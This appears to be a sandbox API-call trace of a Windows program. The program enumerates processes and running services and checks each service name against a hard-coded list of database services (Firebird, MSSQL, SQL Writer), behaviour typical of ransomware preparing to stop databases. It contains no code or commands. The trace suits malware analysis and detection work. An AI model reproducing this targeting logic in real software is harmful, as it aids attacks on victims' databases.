	[0180.620] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0180.621] lstrlenW (lpString="consent.exe") returned 11
	[0180.621] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0180.621] CloseHandle (hObject=0x514) returned 1
	[0180.621] Sleep (dwMilliseconds=0x1f4) 
	[0181.574] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667fe8
	[0181.576] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0181.577] GetLastError () returned 0xea
	[0181.577] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0181.577] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0181.578] CloseServiceHandle (hSCObject=0x667fe8) returned 1
	[0181.578] lstrlenW (lpString="Appinfo") returned 7
	[0181.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0181.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0181.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0181.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0181.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0181.578] lstrlenW (lpString="AppXSvc") returned 7
	[0181.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0181.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0181.578] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0181.578] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0181.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0181.578] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0181.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0181.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0181.578] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0181.578] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0181.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0181.578] lstrlenW (lpString="Audiosrv") returned 8
	[0181.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0181.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0181.579] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0181.579] lstrlenW (lpString="BFE") returned 3
	[0181.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0181.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0181.579] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0181.579] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0181.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0181.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0181.579] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0181.579] lstrlenW (lpString="CDPSvc") returned 6
	[0181.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0181.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0181.579] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0181.579] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0181.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0181.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0181.579] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0181.579] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0181.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0181.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0181.579] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0181.579] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0181.580] lstrlenW (lpString="CryptSvc") returned 8
	[0181.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0181.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0181.580] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0181.580] lstrlenW (lpString="DcomLaunch") returned 10
	[0181.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0181.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0181.580] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0181.580] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0181.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0181.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0181.580] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0181.580] lstrlenW (lpString="Dhcp") returned 4
	[0181.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0181.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0181.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0181.580] lstrlenW (lpString="Dnscache") returned 8
	[0181.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0181.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0181.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0181.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0181.580] lstrlenW (lpString="DPS") returned 3
	[0181.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0181.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0181.581] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0181.581] lstrlenW (lpString="DsmSvc") returned 6
	[0181.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0181.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0181.581] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0181.581] lstrlenW (lpString="DusmSvc") returned 7
	[0181.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0181.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0181.581] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0181.581] lstrlenW (lpString="EventLog") returned 8
	[0181.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0181.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0181.581] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0181.581] lstrlenW (lpString="EventSystem") returned 11
	[0181.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0181.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0181.581] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0181.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0181.581] lstrlenW (lpString="FontCache") returned 9
	[0181.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0181.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0181.581] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0181.582] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0181.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0181.582] lstrlenW (lpString="gpsvc") returned 5
	[0181.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0181.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0181.582] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0181.582] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0181.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0181.582] lstrlenW (lpString="iphlpsvc") returned 8
	[0181.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0181.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0181.582] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0181.582] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0181.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0181.582] lstrlenW (lpString="KeyIso") returned 6
	[0181.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0181.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0181.582] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0181.582] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0181.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0181.582] lstrlenW (lpString="LanmanServer") returned 12
	[0181.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0181.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0181.582] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0181.582] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0181.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0181.582] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0181.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0181.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0181.582] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0181.582] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0181.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0181.583] lstrlenW (lpString="lfsvc") returned 5
	[0181.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0181.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0181.583] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0181.583] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0181.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0181.583] lstrlenW (lpString="lmhosts") returned 7
	[0181.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0181.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0181.583] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0181.583] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0181.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0181.583] lstrlenW (lpString="LSM") returned 3
	[0181.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0181.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0181.583] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0181.583] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0181.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0181.583] lstrlenW (lpString="MpsSvc") returned 6
	[0181.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0181.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0181.583] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0181.583] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0181.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0181.583] lstrlenW (lpString="NcbService") returned 10
	[0181.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0181.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0181.583] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0181.583] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0181.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0181.583] lstrlenW (lpString="netprofm") returned 8
	[0181.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0181.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0181.584] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0181.584] lstrlenW (lpString="NgcSvc") returned 6
	[0181.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0181.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0181.584] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0181.584] lstrlenW (lpString="NlaSvc") returned 6
	[0181.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0181.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0181.584] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0181.584] lstrlenW (lpString="nsi") returned 3
	[0181.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0181.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0181.584] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0181.584] lstrlenW (lpString="PcaSvc") returned 6
	[0181.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0181.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0181.584] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0181.584] lstrlenW (lpString="PlugPlay") returned 8
	[0181.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0181.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0181.584] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0181.584] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0181.585] lstrlenW (lpString="Power") returned 5
	[0181.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0181.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0181.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0181.585] lstrlenW (lpString="ProfSvc") returned 7
	[0181.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0181.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0181.585] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0181.585] lstrlenW (lpString="RpcEptMapper") returned 12
	[0181.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0181.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0181.585] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0181.585] lstrlenW (lpString="RpcSs") returned 5
	[0181.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0181.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0181.585] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0181.585] lstrlenW (lpString="SamSs") returned 5
	[0181.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0181.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0181.585] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0181.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0181.585] lstrlenW (lpString="Schedule") returned 8
	[0181.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0181.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0181.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0181.586] lstrlenW (lpString="SecurityHealthService") returned 21
	[0181.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0181.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0181.586] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0181.586] lstrlenW (lpString="SENS") returned 4
	[0181.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0181.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0181.586] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0181.586] lstrlenW (lpString="ShellHWDetection") returned 16
	[0181.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0181.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0181.586] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0181.586] lstrlenW (lpString="Spooler") returned 7
	[0181.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0181.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0181.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0181.586] lstrlenW (lpString="StateRepository") returned 15
	[0181.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0181.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0181.586] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0181.587] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0181.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0181.587] lstrlenW (lpString="SysMain") returned 7
	[0181.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0181.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0181.587] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0181.587] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0181.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0181.587] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0181.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0181.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0181.587] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0181.587] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0181.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0181.587] lstrlenW (lpString="Themes") returned 6
	[0181.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0181.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0181.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0181.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0181.936] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0181.936] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5bc
